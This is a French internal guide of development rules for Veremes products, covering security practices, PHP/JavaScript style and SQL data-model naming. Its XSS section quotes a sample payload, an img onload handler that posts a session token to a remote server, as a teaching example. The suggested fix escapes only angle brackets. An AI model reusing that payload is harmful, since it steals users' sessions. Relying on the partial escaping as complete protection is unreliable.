Règles de développement Veremes

Ce document décrit les différentes règles qui doivent être respectées lors des développements sur les produits Veremes.

Sécurité

Les règles les plus importantes sont celles liées à la sécurité ; tout écart à ces directives pourrait créer des failles de sécurité et mettre en danger les exploitants des applications Veremes.

JavaScript

• Utiliser ajaxRequest : il est interdit d’utiliser des fonctions du type $.ajax, $.get, $.post (Jquery) ou $http (AngularJS). Toutes les requêtes de type ajax doivent passer par la fonction ajaxRequest qui va vérifier la bonne utilisation du token, écrire des logs, etc.
• Ne jamais passer le token dans l’URL : une personne mal intentionnée ayant accès au réseau d’un utilisateur d’application Veremes pourrait récupérer ce dernier en “sniffant” le réseau (communément appelé “man in the middle”). Pour éviter ceci, il faudra utiliser la fonction ajaxRequest.
• Ne pas permettre les injections XSS : une injection XSS, c’est quand un utilisateur saisit sur l’application du code HTML ou JavaScript qui sera interprété lors de l’utilisation de cette dernière. Exemple :

<img src=".." onload="$.post("http://...", {data: sessionToken})">

Le code ci-dessus pourrait envoyer les tokens de tous les utilisateurs à un serveur distant, y compris ceux des administrateurs ! Pour pallier à ceci, il faut utiliser AngularJS ou utiliser le code suivant :

sMaChaine.replace(/</g, "&lt;").replace(/>/g, "&gt;");

PHP

• Ne jamais concaténer une variable dans une requête SQL : ce type de comportement peut ouvrir des failles de type SQLi (injection SQL) qui font partie des failles les plus critiques. Pour pallier à ça il faudra utiliser la fonction executeWithParams() de la classe BD et passer les variables en JSON. Tout est documenté ici.
• Utiliser les droits PostgreSQL : la gestion de l’accès à une ressource se fera toujours sur deux niveaux (PHP et PostgreSQL). Si on se limite à PHP, une personne mal intentionnée pourrait, au travers d’une autre ressource, accéder à la table ; si on se limite à PostgreSQL, les erreurs remontées risquent de ne pas être bonnes.

Style PHP/JavaScript

Afin que le code soit cohérent, compréhensible et robuste, les développeurs doivent suivre certaines règles lors de leurs développements.

• Indentation : un code compréhensible est un code indenté ; pour cela, nous utilisons la fonction d’indentation automatique de Netbeans avec 4 espaces par indentation.
• Ne pas dupliquer de code : il ne faut jamais dupliquer du code car ce genre de comportement est très difficile à maintenir.
• Utiliser les fonctions génériques : il faut éviter de créer des fonctions chacun dans son coin et utiliser des fonctions génériques le plus souvent possible afin d’éviter les duplications de code.
• Commentaires : il faudra écrire des commentaires au moins pour chaque fonction sous le modèle de commentaires JSDoc/PHPDoc, et au moins un commentaire toutes les 8 lignes de code pour expliquer ce que l’on fait.
• Nommage :
  • Il faut éviter l’utilisation d’abréviations.
  • Chaque variable devra être précédée par son type (ex: aTableau, sChaine, iEntier, oObjet).
  • Les noms des classes commencent toujours par une majuscule.
  • Les fonctions et les variables (constantes non incluses) commencent toujours par une minuscule.
  • Les noms des constantes sont en majuscules.
  • Les fonctions et variables privées se terminent par un underscore.
  • Il faut utiliser d’abord la simple quote, puis la double quote.
• Spécificités JavaScript :
  • Utiliser this_: pour pointer sur l’objet en cours dans une fonction anonyme, il est conseillé de créer la variable this_ = this pour l’utiliser dans la fonction.
  • Utiliser prototype pour créer les fonctions.
  • Écrire @export où @private dans le commentaire d’une fonction pour spécifier si elle est publique ou privée lors de la compilation.

Modèle de données SQL

Procédure

Pour écrire ou modifier dans le modèle de données, il faut toujours respecter la procédure suivante :

1. Écrire dans Visual Paradigm
2. Faire valider par Olivier, Yoann ou Armand
3. Écrire le code SQL correspondant dans le fichier queries.xml en mentionnant son nom, la date et l’heure

Règles

• Modifications : il est interdit de faire des modifications sur les versions précédentes.
• Suppressions : il est interdit de supprimer une colonne, une table ou une vue ; il faudra créer une nouvelle si besoin et commenter l’ancienne en DEPRECATED.
• Nommage:
  • Il faut éviter l’utilisation d’abréviations.
  • Les noms des tables doivent être en minuscules.
  • Toute table contient un identifiant sous le modèle id_[nom de l’objet].
  • Les tables de relation s’écrivent [table1]_[table2].
  • Les tables constantes (non éditables depuis l’interface) s’écrivent rt_[table].
  • Les contraintes de type clés étrangères s’écrivent fk_[table 1]_[table 2].
  • Les contraintes de type clés primaires s’écrivent pk_[nom de la colonne].
  • Les colonnes géométriques doivent toujours être sous la contrainte du type de géométrie et de la projection.
  • Il ne faut pas utiliser d’underscores sauf dans les cas spécifiques cités ci-dessus.